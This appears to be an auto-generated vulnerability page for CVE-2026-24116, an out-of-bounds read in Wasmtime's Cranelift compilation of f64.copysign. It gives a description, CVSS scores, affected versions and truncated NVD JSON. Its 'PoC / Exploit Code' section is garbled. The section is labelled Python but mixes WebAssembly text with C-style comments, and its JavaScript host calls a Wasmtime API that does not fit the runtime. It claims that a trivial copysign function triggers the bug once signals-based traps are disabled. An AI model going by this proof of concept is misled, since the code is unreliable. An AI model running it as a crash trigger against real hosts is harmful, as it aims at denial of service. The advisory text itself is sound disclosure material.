Security Vulnerability Report
中文
CVE-2026-24116 CVSS 5.5 MEDIUM

CVE-2026-24116

Published: 2026-01-27 19:16:16
Last Modified: 2026-02-12 21:36:55

Description

Wasmtime is a runtime for WebAssembly. Starting in version 29.0.0 and prior to version 36.0.5, 40.0.3, and 41.0.1, on x86-64 platforms with AVX, Wasmtime's compilation of the `f64.copysign` WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When signals-based-traps are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it's possible for out-of-sandbox data to be loaded, but unless there is another bug in Cranelift this data is not visible to WebAssembly guests. Wasmtime 36.0.5, 40.0.3, and 41.0.1 have been released to fix this issue. Users are recommended to upgrade to the patched versions of Wasmtime. Other affected versions are not patched and users should updated to supported major version instead. This bug can be worked around by enabling signals-based-traps. While disabling guard pages can be a quick fix in some situations, it's not recommended to disabled guard pages as it is a key defense-in-depth measure of Wasmtime.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:* - VULNERABLE
Wasmtime 29.0.0 <= version < 36.0.5
Wasmtime 40.0.0 <= version < 40.0.3
Wasmtime 41.0.0 <= version < 41.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-24116 PoC - Malicious WebAssembly Module // This PoC demonstrates the f64.copysign vulnerability in Wasmtime // Compile with: wasm-pack build --target web (module (func $trigger_vulnerability (result f64) ;; Create two local f64 values (local $value f64) (local $sign f64) ;; Initialize value to positive 1.0 (local.set $value (f64.const 1.0)) ;; Initialize sign to negative zero (-0.0) (local.set $sign (f64.const -0.0)) ;; This f64.copysign instruction triggers the vulnerability ;; On affected Wasmtime versions with AVX enabled, this may ;; cause an out-of-bounds read of 8 extra bytes (return (f64.copysign (local.get $value) (local.get $sign))) ) (export "trigger_vulnerability" (func $trigger_vulnerability)) ) // JavaScript host code to run the PoC: /* import init from './pkg/my_module.js'; async function runPoC() { const wasm = await init(); // Disable signals-based traps to trigger the vulnerability // Note: This is for demonstration purposes only const config = new wasm.WasmtimeConfig(); config.signals_based_traps = false; const engine = new wasm.WasmtimeEngine(config); const store = new wasm.WasmtimeStore(engine); try { const result = wasm.trigger_vulnerability(store); console.log('Result:', result); } catch (e) { console.log('Vulnerability triggered - Segmentation fault'); console.error(e); } } runPoC(); */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24116", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:16.180", "lastModified": "2026-02-12T21:36:55.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wasmtime is a runtime for WebAssembly. Starting in version 29.0.0 and prior to version 36.0.5, 40.0.3, and 41.0.1, on x86-64 platforms with AVX, Wasmtime's compilation of the `f64.copysign` WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When signals-based-traps are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it's possible for out-of-sandbox data to be loaded, but unless there is another bug in Cranelift this data is not visible to WebAssembly guests. Wasmtime 36.0.5, 40.0.3, and 41.0.1 have been released to fix this issue. Users are recommended to upgrade to the patched versions of Wasmtime. Other affected versions are not patched and users should updated to supported major version instead. This bug can be worked around by enabling signals-based-traps. While disabling guard pages can be a quick fix in some situations, it's not recommended to disabled guard pages as it is a key defense-in-depth measure of Wasmtime."}, {"lang": "es", "value": "Wasmtime es un entorno de ejecución para WebAssembly. A partir de la versión 29.0.0 y antes de las versiones 36.0.5, 40.0.3 y 41.0.1, en plataformas x86-64 con AVX, la compilación de Wasmtime de la instrucción WebAssembly f64.copysign con Cranelift puede cargar 8 bytes más de los necesarios. Cuando las trampas basadas en señales están deshabilitadas, esto puede resultar en un segfault no detectado debido a la carga desde páginas de guardia no mapeadas. Con las páginas de guardia deshabilitadas, es posible que se carguen datos fuera de la sandbox, pero a menos que haya otro error en Cranelift, estos datos no son visibles para los invitados de WebAssembly. Wasmtime 36.0.5, 40.0.3 y 41.0.1 han sido lanzadas para solucionar este problema. Se recomienda a los usuarios actualizar a las versiones parcheadas de Wasmtime. Otras versiones afectadas no están parcheadas y los usuarios deberían actualizar a una versión principal compatible en su lugar. Este error se puede eludir habilitando las trampas basadas en señales. Si bien deshabilitar las páginas de guardia puede ser una solución rápida en algunas situaciones, no se recomienda deshabilitar las páginas de guardia, ya que es una medida clave de defensa en profundidad de Wasmtime."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:*", "versionStartIncluding": "29.0.0", "versionEndExcluding": "36.0.5", "matchCriteriaId" ... (truncated)